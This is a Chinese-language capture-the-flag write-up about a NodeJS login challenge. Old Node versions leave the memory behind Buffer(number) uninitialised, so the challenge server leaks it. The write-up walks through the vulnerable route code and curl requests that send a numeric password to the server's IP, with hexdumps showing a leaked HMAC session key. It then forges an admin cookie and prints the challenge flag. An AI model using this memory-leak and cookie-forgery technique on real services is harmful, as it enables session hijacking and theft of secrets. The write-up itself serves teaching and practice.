导语:先前看到NodeJS曾爆出一个很有趣的问题,想想好像大家都对NodeJS漏洞没什么利用经验,那么就让我来利用这一有趣的问题创建一个挑战吧。
先前看到NodeJS曾爆出一个很有趣的问题,想想好像大家都对NodeJS漏洞没什么利用经验,那么就让我来利用这一有趣的问题创建一个挑战吧。
挑战的源码可以从这里下载到,搭建也非常简单,只需要执行以下几步:
$ cd nodejs_chall $ node -v v4.2.4 $ npm -v 2.14.12 $ npm install # 安装依赖 # 考虑国内npm速度较慢,推荐使用如下命令 # npm install --registry=https://registry.npm.taobao.org $ npm start # start server on http://127.0.0.1:3000
环境搭建好后,访问网站/admin
页面看到需要输入密码登录,那么挑战的目标就是得到secret_password
并成功登录。
好了,如果你非常感兴趣想自己试试,那么就先不要往下看了,动手吧~
概略
当我们初次访问网站,引入眼帘的是一个精美的登录页面,这里我开了一个小玩笑,说像C这种特别容易出现内存泄漏问题的语言,是不适合小鲜肉编写的,所以选择像JavaScript这种“内存安全”的语言才是明智之举。但这也暗示了挑战的问题所在,即使是JavaScript这类高级语言也未必像你想象的那般安全。
/admin
页面上有一个大大的密码输入框,而当我们随意输入密码后,就会收到密码错误的提示。
此时,打开浏览器的控制台可以看到,我们发送了一个POST请求给/login
,其中包含JOSN格式的密码信息{"password": "test"}
。
另一件值得注意的事情是两个Cookie,session=eyJhZG1pbiI6Im5vIn0=
和session.sig=wwg0b0z2AQJ2GCyXHt53ONkIXRs
,而当对session进行base64解码后,会发现内容实际为{"admin":"no"}
。此时,可能有人会说那我们直接把内容改成{"admin":"yes"}
就好啦,但这里Cookie是经过HMAC保护的,但你修改后服务器会直接丢弃的。
代码审计
现在让我们来看看代码吧,先看app.js
文件,从中我们得知App使用了express框架var express = require('express');
,不过这个与本挑战没什么太大关系。
然后在来看看config.js
文件,这里面包含有secret_password
和session_keys
,当然这些密钥会用于生成HMAC保护cookies的。
随后我们来看看routes/index.js
中是如何处理我们请求的:
router.get('/', function(req, res, next) { res.render('index', { title: 'index', admin: req.session.admin }); }); router.get('/admin', function(req, res, next) { res.render('admin', { title: 'Admin area', admin: req.session.admin, flag: config.secret_password }); }); router.get('/logout', function(req, res, next) { req.session = null; res.json({'status': 'ok'}); }); router.post('/login', function(req, res, next) { if(req.body.password !== undefined) { var password = new Buffer(req.body.password); if(password.toString('base64') == config.secret_password) { req.session.admin = 'yes'; res.json({'status': 'ok' }); } else { res.json({'status': 'error', 'error': 'password wrong: '+password.toString() }); } } else { res.json({'status': 'error', 'error': 'password missing' }); } });
这里我们可以看到secret_password
是作为admin
模块中的flag
,继续跟进查看views/admin.jade
中的模板代码,就会发现如果得到secret_password
就可以以admin登录了。
if admin === 'yes' p You are admin #{flag} else ....
上面唯一有意思的就是/login
,Login会检查password
是否有设置,随后会新建一个Buffer()
存放password,并将Buffer转换成base64字符与secret_password
进行比对,如果相等,则会将session设置为admin = 'yes'
。
漏洞
看到这里,很多人应该会立马开始尝试跟踪看不受信任的输入是如何被处理的,最终都会跟踪到Buffer类。而Buffer()
类会基于不同的参数返回不同的值,例如如下测试:
> Buffer('AAAA') <Buffer 41 41 41 41> > Buffer(4) <Buffer 90 4e 80 01> > Buffer(4) <Buffer 50 cc 02 02> > Buffer(4) <Buffer 0a 00 00 00>
从上面测试中可以发现,当传递给Buffer一个字符串时,它会创建一个含有字符串的缓存,但当传递的是一个数字时,Nodejs会分配一个较大的缓冲区,而且还不是简单的<Buffer 00 00 00 00>
,看起来还包含其他的值。这是因为Buffer(number)
并不会初始化内存,从而导致泄露以前堆栈中分配的数据。
这个问题已经被提交,在NodeJS issue #4660里可以看到问题的描述和可能的修复方案。
因为挑战中的使用了JSON中间件(app.use(bodyParser.json())
),所以当我们实际发生的POST数据包含数字时,那么就会收到一些从堆栈泄露的数据:
curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{"password": 100}" | hexdump -C 00000000 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 |{"status":"error| 00000010 22 2c 22 65 72 72 6f 72 22 3a 22 70 61 73 73 77 |","error":"passw| 00000020 6f 72 64 20 77 72 6f 6e 67 3a 20 69 73 41 72 72 |ord wrong: isArr| 00000030 61 79 2f ef bf bd 71 ef bf bd 5c 75 30 30 30 30 |ay/...q...u0000| 00000040 5c 75 30 30 30 30 5c 75 30 30 30 30 5c 75 30 30 |u0000u0000u00| 00000050 30 30 5c 75 30 30 30 30 5c 75 30 30 31 30 ef bf |00u0000u0010..| 00000060 bd 43 5c 75 30 30 30 33 5c 75 30 30 30 30 5c 75 |.Cu0003u0000u| 00000070 30 30 30 30 5c 75 30 30 30 30 5c 75 30 30 30 30 |0000u0000u0000| 00000080 5c 75 30 30 30 31 3c 2f 70 72 65 3e 3c ef bf bd |u0001</pre><...| 00000090 7f 43 5c 75 30 30 30 33 5c 75 30 30 30 30 5c 75 |.Cu0003u0000u| 000000a0 30 30 30 30 5c 75 30 30 30 30 5c 75 30 30 30 30 |0000u0000u0000| 000000b0 5c 75 30 30 30 37 5c 75 30 30 30 30 5c 75 30 30 |u0007u0000u00| 000000c0 30 30 5c 75 30 30 30 30 2f 68 74 6d 5c 75 30 30 |00u0000/htmu00| 000000d0 30 32 5c 75 30 30 31 32 d0 a3 5c 75 30 30 30 30 |02u0012..u0000| 000000e0 5c 75 30 30 30 30 5c 75 30 30 30 30 5c 75 30 30 |u0000u0000u00| 000000f0 30 30 5c 75 30 30 30 30 5c 75 30 30 30 30 5c 75 |00u0000u0000u| 00000100 30 30 30 30 5c 75 30 30 30 30 76 65 5c 75 30 30 |0000u0000veu00| 00000110 30 30 5c 75 30 30 30 30 ef bf bd 7f 43 5c 75 30 |00u0000....Cu0| 00000120 30 30 33 5c 75 30 30 30 30 5c 75 30 30 30 30 5c |003u0000u0000| 00000130 75 30 30 30 30 5c 75 30 30 30 30 5c 75 30 30 30 |u0000u0000u000| 00000140 30 5c 75 30 30 30 30 5c 75 30 30 30 30 5c 75 30 |0u0000u0000u0| 00000150 30 30 30 5c 75 30 30 30 30 5c 75 30 30 30 30 5c |000u0000u0000| 00000160 75 30 30 30 30 5c 75 30 30 30 30 ef bf bd ef bf |u0000u0000.....| 00000170 bd ef bf bd 5c 75 30 30 30 30 5c 75 30 30 30 30 |....u0000u0000| 00000180 5c 75 30 30 30 30 5c 75 30 30 30 30 5c 75 30 30 |u0000u0000u00| 00000190 30 30 3a 5c 75 30 30 30 36 5c 75 30 30 30 30 5c |00:u0006u0000| 000001a0 75 30 30 30 30 ef bf bd 5c 75 30 30 30 30 5c 75 |u0000...u0000u| 000001b0 30 30 30 30 5c 75 30 30 30 30 50 32 31 5c 75 30 |0000u0000P21u0| 000001c0 30 30 33 22 7d |003"}|
当我们重复多次,就可能发现一个泄露的session_keys
:
curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{"password": 100}" | hexdump -C 00000000 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 |{"status":"error| 00000010 22 2c 22 65 72 72 6f 72 22 3a 22 70 61 73 73 77 |","error":"passw| 00000020 6f 72 64 20 77 72 6f 6e 67 3a 20 41 4c 4c 45 53 |ord wrong: ALLES| 00000030 7b 73 65 73 73 69 6f 6e 5f 6b 65 79 5f 4b 2e 47 |{session_key_K.G| 00000040 4b 51 65 52 30 4a 53 32 62 39 4f 68 77 53 48 23 |KQeR0JS2b9OhwSH#| 00000050 55 64 4d 68 4c 34 45 64 64 78 65 44 3f 7d 72 64 |UdMhL4EddxeD?}rd| 00000060 41 70 70 7b 5c 22 61 64 6d 69 6e 5c 22 3a 5c 22 |App{"admin":"| 00000070 6e 6f 5c 22 7d 3e 69 3c 21 44 4f 43 54 59 50 45 |no"}>i<!DOCTYPE| 00000080 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6e 67 2d 61 | html><html ng-a| 00000090 70 70 3d 22 7d |pp="}| 00000095 curl http://46.101.185.27:3000/login -X POST -H "Content-Type: application/json" --data "{"password": 100}" | grep ALLES {"status":"error","error":"password wrong: ALLES{session_key_K.GKQeR0JS2b9OhwSH#UdMhL4EddxeD?}><lin{"admin":"no"}eet" href="/stylesheets/style."}
上面泄露的session key为ALLES{session_key_K.GKQeR0JS2b9OhwSH#UdMhL4EddxeD?}
。
那么现在你可能会有疑问,为什么session key会被泄露?那为什么密码不会写泄露?对于后者我只有一些假设,那就是密码存储分配的内存和Buffer()
分配的内存不在一起。
NodeJS应用使用var session = require('cookie-session')
,这会依赖cookies
和keygrip
,而keygrip
进行HMAC签名又依赖node核心crpyto
包,而crpyto
进行加密的时候又使用到了Buffer,这就是为什么会话密钥会从内存中泄露出去的原因了。
有了session key我们就可以创建一个具备有效签名的{"admin": "yes"}
cookie了,从而完成成功登录。创建的过程可以依赖程序的源码,修改config.js
文件中的session_key
,并设置app.js
文件中的req.session.admin = 'yes'
。
以上操作可以在自己本地创建的应用中设置,随后使用得到cookie发送给挑战服务器:session=eyJhZG1pbiI6InllcyJ9
和session.sig=oom6DtiV8CPOxVRSW3IFtE909As
。
现在,我们就可以进行Base64解码,得到最终的flag为ALLES{use_javascript_they_said.its_a_safe_language_they_said}
。